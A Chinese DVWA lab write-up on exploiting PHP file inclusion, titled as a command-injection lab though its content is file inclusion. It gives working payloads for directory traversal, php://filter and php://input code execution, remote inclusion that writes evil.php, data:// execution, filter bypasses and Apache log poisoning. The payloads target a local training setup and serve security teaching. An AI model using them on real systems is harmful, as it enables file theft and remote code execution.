DVWA靶场命令注入漏洞检测实验

一、实验原理

文件包含漏洞的产生原因是在通过 PHP 的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。从定义当中也可以看到,文件包含漏洞存在并被利用的条件是:WEB 应用程序用 include()等文件包含函数通过动态变量的形式引入需要包含的文件,用户能够控制该动态变量。

二、实验准备

实验环境:Windows + phpstudy_Pro和PHPStudy 2018 + DVWA

实验工具:Burpsuite 、浏览器

关键配置:

修改phpstudy_Pro和PHPStudy 2018 的 php配置(php.ini):

allow_url_include = On #开启,否则远程包含和php://input无法使用

allow_url_fopen = On

修改PHPStudy 2018 的apache配置(httpd.conf):

去掉CustomLog "logs/access.log" common 前的注释

修改后重启 Apache服务。

准备测试文件

在 D:\ 盘根目录创建测试文件yourname.txt

内容为:

=== Congratulations, you have found yourname ===

三、Low 级别实验

登录 DVWA 系统。在 DVWA Security 当中选择 low 选项,并提交,然后选择 File Inclusion 菜单。Low 级别的文件包含模块没有任何过滤,可以直接利用所有包含方式。

分别点击界面的 file1.php、file2.php、file3.php,除了显示不同的内 容外,URL 中的 page 参数有所不同。此时,在 URL 中输入一个不存在 的文件,如abc.php ,将通过报错从而暴出系统的绝对路径。

测试1:目录遍历读取本地服务器中的httpd.conf文件

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../windows/win.ini

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../phpStudy\\PHPTutorial\\Apache\\conf\\httpd.conf

测试 2:绝对路径读取在 D:\ 盘根目录创建的测试文件

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:/yourname.txt

测试 3:php://filter 读取www中index.php文件的源码

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=C:\\phpStudy\\PHPTutorial\\WWW\\index.php

✅ 预期结果:返回一串 base64 编码字符串,解码后可得到文件内容。

解码方法: 在浏览器控制台执行atob("返回的base64字符串"),或者使用在线解码网站。

访问结果及解码后的内容截图

PD9waHAKZWNobyAiSGVsbG8gV29ybGQiOwo/Pg==

测试4:php://input 执行任意代码

使用 Burp Suite 拦截后修改请求再发送:

在拦截的请求中添加需要执行的代码:

<?php system('ipconfig'); ?>

访问结果截图:

测试5:远程文件包含

构造包含远程文件的URL

在phpStudy_pro\WWW中创建文件evil.txt,模拟远程文件的地址。

文件内容为:

<?php

fwrite(fopen("evil.php","w"),

"<?php phpinfo(); ?>");

?>

设置phpStudy_pro与 phpstudy2018使用不同端口,并分别启动,访问phpStudy2018中的dvwa,在其中模拟包含远程phpstudy_pro中的文件。

参考Payload:

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1:8888/evil.txt

查看phpStudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi文件夹中是否生成文件evil.php。

然后访问http://127.0.0.1/dvwa/vulnerabilities/fi/?page=evil.php

访问结果截图:

四、Medium 级别实验

DVWA Security 设置为 Medium

Medium级源码防护逻辑

file = str_replace(array("http://", "https://", "../", "..\\\\"), "", _GET'page');

防护方式为 简单的字符串替换,只替换一次,可用双写绕过。

测试6:双写绕过 ../ 过滤

由于 str_replace 只做一次替换,构造嵌套即可:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././..././..././..././Windows/System32/drivers/etc/hosts

访问结果截图:

测试7:绝对路径(未被过滤)

Medium 级别没有过滤绝对路径,因此仍可直接使用:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:/Windows/System32/drivers/etc/hosts

访问结果截图:

测试8:双写绕过协议过滤

http:// 被替换,可以双写:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/index.php

访问结果截图:

测试9:php伪协议未被过滤

Medium 没有过滤 php://,因此 php://filterphp://input 和 data://仍然可用:

data:// 协议允许在 URL 中直接嵌入数据。将 PHP 代码进行 base64 编码后嵌入 URL,服务器解码并执行其中的代码,无需外部文件即可实现代码执行。

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

PD9waHAgcGhwaW5mbygpOyA/Pg== 是 <?php phpinfo(); ?> 的 base64 编码

访问结果截图:

五、High 级别实验

DVWA Security 设置为 High

源码防护逻辑

if(!fnmatch("file*", file) \&\& file != "include.php" && $file != "file1.php"

&& file != "file2.php" \&\& file != "file3.php") {

echo "ERROR: File not found!";

exit;

}

防护要求: 文件名必须以 file 开头,或者是白名单中的文件(include.php、file1.php、file2.php、file3.php)。

测试10:利用 file:// 协议绕过

fnmatch("file*", $file) 要求参数以 file 开头,而 file:// 协议恰好以 file 开头!

file:// 读取系统文件

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file://C:/Windows/System32/drivers/etc/hosts

访问结果截图:

测试11:file:// + 日志文件包含 GetShell

步骤:

  1. 先Apache 日志注入 PHP 代码:

本次操作在phpstudy2018中进行。

打开Burpsuite,开启拦截,浏览器中发送一个请求,URL为:

http://127.0.0.1/\<?php phpinfo(); ?>

修改拦截的请求,使用Ctrl+Shift+U,对转码后的<?php phpinfo(); ?>再次转码,再放行。

转码后的结果截图。

  1. 查看 Apache 日志

路径:为C:\phpStudy\PHPTutorial\Apache\logs\access.log

日志内容截图:

  1. 利用 file:// 协议包含日志:

参考Payload:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/Apache/logs/access.log

访问结果截图:

相关推荐
Aphasia3111 天前
VPN 与内网穿透
安全
Mr_愚人派2 天前
当"Claude"不再是 Claude:一次第三方 API 代理引发的 AI 身份伪造排查实录
人工智能·安全
DaLi Yao3 天前
【无标题】
人工智能·安全
Alsn863 天前
等待学习-学习目录:Docker 容器安全攻防
学习·安全·docker
网络研究院3 天前
2026年网络安全
网络·安全·法律·法规·趋势·发展
酣大智3 天前
ARP代理--工作原理
运维·网络·arp·arp代理
treesforest3 天前
AI安全系统如何识别异常访问?IP风险识别正在成为关键能力
网络·人工智能·tcp/ip·安全·web安全
shushangyun_3 天前
2026年快消品B2B系统推荐:支持终端门店订货、促销政策自动化的工具?
java·运维·网络·数据库·人工智能·spring·自动化
2601_961845153 天前
粉笔行测题库|系统班|刷题
网络·百度·微信·微信公众平台·facebook·新浪微博
零零信安3 天前
零零信安荣登数世咨询《新质·数字安全专精百强(2026)》暗网情报领域,彰显专业实力与创新引领
安全·网络安全·数据泄露·暗网·零零信安